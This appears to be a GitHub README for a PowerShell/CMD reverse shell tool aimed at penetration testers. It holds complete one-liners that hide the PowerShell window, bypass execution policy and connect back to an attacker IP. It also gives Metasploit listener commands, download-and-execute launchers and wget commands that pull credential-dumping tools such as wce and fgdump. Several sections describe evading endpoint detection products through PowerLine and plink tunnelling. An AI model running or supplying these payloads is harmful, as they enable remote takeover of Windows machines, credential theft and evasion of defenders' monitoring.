Credit: Based on the PowerShell reverse shell one-liner provided by Nikhil Mittal:
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
Disclaimer: These scripts are provided for educational purposes only and for use by Ethical Hackers. Use only on systems for which you have acquired all the legally required contracts and permissions for use. It is your responsibility to determine whether you are legally permitted to use these scripts in your country and for your purposes. No warrantee or guarantees are provided.
Tested on PowerShell version 2 and up.
wget -O psrev.vbs https://raw.githubusercontent.com/rtaylor777/ps_cmd_rev_shell/master/psrev.vbs
wget -O psnoenv.vbs https://raw.githubusercontent.com/rtaylor777/ps_cmd_rev_shell/master/psnoenv.vbs
This is a pseudo cmd.exe reverse shell. I designed this shell to support some PowerShell convenience commands such as 'pwd','ls','ps','rm','cp','mv','cat'.
Simply add more of them to the array if you wish to support more. Also, if you are determined to only support CMD commands when at the CMD prompt then reduce the list. Bear in mind that 'cd,'exit',and 'd:' are required, if you remove them you will be unable to switch to other directories or drives and have the switch persist until the next command, and you will not be able to use the exit command to exit the shell.
The reality is that PowerShell is calling 'cmd.exe /c' for every CMD command that you enter, so in effect PowerShell is the parent, cmd.exe the child and the only environment change that persists between commands happens in PowerShell. For this reason I had to catch any directory or drive letter change and execute them in PowerShell, otherwise the change would not persist between one call to cmd.exe and the next.
This shell doubles as a PowerShell reverse shell. Type $ps on the CMD command line and the shell will switch to a PowerShell shell from the cmd.exe shell. Then type $ps=$false in the PowerShell shell and you will switch back to running commands through cmd.exe.
The script is intended to be launched with the -NonI (non interactive) option of PowerShell. The result of not running it like this is that PowerShell will try to interactively prompt for missing parameters and your shell will be locked up. As a result of the -NonI option, if you fail to provide the required parameters to a PowerShell command you will not see any error messages, the command simply will not work. So if you are having issues with a command's syntax, be sure to test on your own Windows system from an interactive PowerShell prompt.
On Kali:
export HOSTIP=10.0.0.22;
export EXP1=5379;
msfconsole -q -x "setg LHOST $HOSTIP;use exploit/multi/handler;set ExitOnSession false;set PAYLOAD windows/x64/shell_reverse_tcp;set EXITFUNC thread;set LPORT $EXP1;exploit -j;";
On Windows:
set HOSTIP=10.0.0.22
set EXP1=5379
powershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip=(gci -path env:HOSTIP).value;$port=(gci -path env:EXP1).value;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
This invocation method assumes that you are pasting the text into a shell on Kali and on Windows. The downside is it will 'use up' the existing CMD shell that you have on Windows. The advantage is that you do not have to download any file.
On Kali - Instructions
Set up an HTTP server that is providing access to the psrev.vbs file.
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Then in another terminal...
export HOSTIP=10.0.0.22;
export EXP1=5379;
msfconsole -q -x "setg LHOST $HOSTIP;use exploit/multi/handler;set ExitOnSession false;set PAYLOAD windows/x64/shell_reverse_tcp;set EXITFUNC thread;set LPORT $EXP1;exploit -j;";
On Windows
Download the psrev.vbs script...
set HOSTIP=10.0.0.22
set EXP1=5379
powershell.exe -Exec Bypass "& {$storageDir = $pwd;$webclient = New-Object System.Net.WebClient;$url = 'http://%HOSTIP%/scripts/vbs/psrev.vbs';$file = 'psrev.vbs';$webclient.DownloadFile($url,$file)}"
Run the psrev.vbs script...
psrev.vbs
The psrev.vbs script requires that you have set the HOSTIP and EXP1 environment variables in the current CMD shell on Windows.
If your requirements change such that you are not able to set environment variables on Windows before running the script try the following version:
powershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip='10.0.0.22';$port=5379;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
You will need to edit the $hostip and $port values before pasting the above line into Windows. As before this will 'use up' the existing CMD shell that you have on Windows.
For convenience there is also the psnoenv.vbs script. You will have to edit the script to use the correct $hostip and $port values before running it on the target.
Pasted Script VS. VBScript Launcher Saved File
You need to be able to save a file and execute it in order to use the Launcher. Some AV engines only look at files and not what is pasted into an existing command window. Sometimes you are able to execute commands but you are not able to see the output. Then it can be hard to know if your downloads are succeeding or where they are ending up. In this case you could try pasting in and running the script as a command.
If you can download and run the VBScript Launcher file it is far superior in the following ways: You can run the script multiple times and it will continue making reverse shell connections to the msfconsole multi/handler. You can close the original command window that you ran the Launcher script in and the reverse shells continue running. You can even run the Launcher script from within an existing reverse shell connection and it will launch another reverse shell connection to the multi/handler.
Basic Usage
After catching a reverse shell in the multi/handler you can switch to it as usual. You will need to hit the Enter key at least once after switching to the new session before you will see a prompt.
Use the CTRL-Z key combination to background a session as usual.
Why Environment Variables
Well besides the obvious reason of not having to edit the psrev.vbs script because it can pull the Kali HOSTIP and its listening EXP1 port from the environment on Windows, you are all set to run other scripts and commands without editing as well.
I.E. Pulling down wget:
powershell.exe -Exec Bypass "& {$storageDir = $pwd;$webclient = New-Object System.Net.WebClient;$url = 'http://%HOSTIP%/32/tools/windows_binaries/wget.exe';$file = 'wget.exe';$webclient.DownloadFile($url,$file)}"
Possible wget usage:
wget -O plink.exe http://%HOSTIP%/32/tools/windows_binaries/plink.exe
wget -O wce32.exe http://%HOSTIP%/32/tools/wce/wce32.exe
wget -O PsExec.exe http://%HOSTIP%/32/tools/PsExec.exe
wget -O fgdump.exe http://%HOSTIP%/64/tools/windows_binaries/fgdump/fgdump.exe
wget -O Invoke-SessionGopher.ps1 http://%HOSTIP%/scripts/powershell/Invoke-SessionGopher.ps1
wget -O unzip.exe http://%HOSTIP%/32/tools/unzip.exe
wget -O accesschk.exe http://%HOSTIP%/32/tools/accesschk.exe
wget -O subinacl.exe http://%HOSTIP%/32/tools/subinacl.exe
The HOSTIP and EXP1 environment variables are already set in the reverse shell caught when using the "Combined PowerShell and CMD Reverse Shell" unless you used a version that didn't require them to be set.
Entered Text Is Echoed Back
I always wondered why the reverse shell established with netcat echoed the command that was entered back as well as the output. I discovered the answer while trying to figure out why when a session was backgrounded in the multi/handler and then when I later returned to it none of the entered text was visible, and the output text was jumbled up with some of it on the input prompt line itself. As soon as I echoed back the input command text as well as the output with my PowerShell/CMD reverse shell, returning to a backgrounded session resulted in a session display that made sense.
What Payload Should The Multi/Handler Be Set To
You will notice that I used the windows/x64/shell_reverse_tcp payload for the multi/handler. You could also use windows/shell_reverse_tcp. It really doesn't matter so long as it is not trying to handle a staged payload. You can even connect to a multi/handler set for either of these payloads from a netcat connection from Windows or Linux.
While testing on EDR (Endpoint Detection and Response) solutions, I decided to configure the script to accept the hostip and port as parameters as well as to start in the PowerShell mode. The activity of launching CMD windows to run commands from within PowerShell was suspicious. In the 3 EDR solutions that I tested, the script was detected when run by PowerShell.exe. But when run by a tool called PowerLine (https://github.com/fullmetalcache/PowerLine) it was only detected on CrowdStrike (https://www.crowdstrike.com/) but not blocked (true as of 2019-10-31 your mileage may vary).
PowerLine.exe
I would like to encourage you to build your own PowerLine.exe (rename it to whatever you need etc.). As professionals you should not trust executables like this unless you know how they were built. But for convenience I included my build in this github repo. I only included my revshell.ps1 script, in the scripts that are builtin to PowerLine.exe, in order to ensure that if PowerLine.exe was detected it was not because of someone else's scripts.
You can run it like this, from a CMD prompt:
PowerLine.exe reveshell "revshell -hostip <attackrs IP>"
Or if you are listening on a different port than 5379:
PowerLine.exe revshell "revshell -hostip <attackers IP> -port <desired port>"
PowerLine.vbs
This is just a handy download and execute script for the PowerLine.exe. You will need to edit the script to have the correct IP address to download PowerLine.exe from and to have the correct IP address to connect back to for the reverse shell.
You would want to run the PowerLine.vbs script from a CMD shell on the target like this, otherwise, if you just run it from the browser, you will get prompts about how it is an executable and how it is not signed etc..:
c:\users\username\Downloads>cscript PowerLine.vbs
PlinkPowerLine.vbs This was an effort to set up a port forward with plink so that the reverse shell could simply connect to a port on the targets localhost and be redirected back to the attackers machine. CrowdStrike still caught this but now it shows the suspect command line as:
"C:\Users\username\Downloads\PowerLine.exe" revshell "revshell -hostip 127.0.0.1 -port 5378"
Additionally, this time it shows nothing in the Network Operations section of the cloud console.
To use PlinkPowerLine.vbs you will will need to edit the script and put in your attacking IP address as well as the -hostkey value. You can get the -hostkey value by running the plink command in -batch mode but without specifying the -hostkey. It will error out and display the attackers hostkey value. In my case it was the colon separated hexadecimal text following the name ssh-ed25518. You can do this on a Windows host that you control because unless you regenerate your ssh host keys your host key should remain the same. For the plink command you will also need to replace 'test' with a username from your attacking machine and that user's password.
The most common issue that you are going to run into is that while you are trying to get another reverse shell (or the first one) using the "Combined PowerShell and CMD Reverse Shell", you are trying to run the PowerShell or VBScript script in a CMD shell (or reverse shell) that does not have the environment variables HOSTIP and EXP1 set. This can happen when you open another CMD prompt or establish a reverse shell using some other exploit or method. Simply set the required environment variables before trying to run the scripts.
psrev.vbs Doesn't Seem To Work: Typically, you will first need to find a directory that your current user is able to write to before attempting to download the psrev.vbs script. If the PowerShell file download script is not able to save the script you will not be able to run it. Other reasons the script may not be saved is if an Anti-Malware software is detecting and removing it, or if the download feature of PowerShell is getting blocked. Also establishing a reverse shell by running the script may not succeed if PowerShell is not permitted at all, or if outgoing connections from PowerShell are being blocked by the Firewall. Also keep in mind that the script requires at least PowerShell version 2 which is only installed by default on Windows 7 and newer Windows operating systems.
Set Commands Do Not Persist: With this "Combined PowerShell and CMD Reverse Shell", 'set commands' do not persist. This is because only the PowerShell shell persists between commands that you execute. The solution is to switch to the PowerShell version of the shell and set the environment variable using PowerShell commands:
STDERR (Standard Error) output from the CMD prompt looks a bit odd. Because the CMD commands are being run from PowerShell you will see PowerShell tries to mark up the resulting error messages. The result looks rather messy. You should still be able to make out the original output of the CMD error message.
Hanging The Shell
It is still possible to run an interactive program from the shell and end up with it seeming to be hung. Your only choice in this case is to use CTRL-C and kill the shell. This is why I developed the VBScript Launcher process to permit launching multiple reverse shells which are caught with the multi/handler. You should always keep at least one extra reverse shell around unless you feel like compromising the target all over again (which may be required in some cases if you do not already have another reverse shell waiting).
Q. Why is it so difficult to get a truly interactive remote shell on Windows? A. Many of the terminal programs on Windows, such as those that require you to enter a password (and PowerShell itself), use other methods for input and output instead of or in addition to the use of the standard input (STDIN), standard output (STDOUT) and standard error (STDERR) streams.
Example Usage
http://a41l4.blogspot.ca/2018/05/pth-wmis-and-combined-powershell-and.html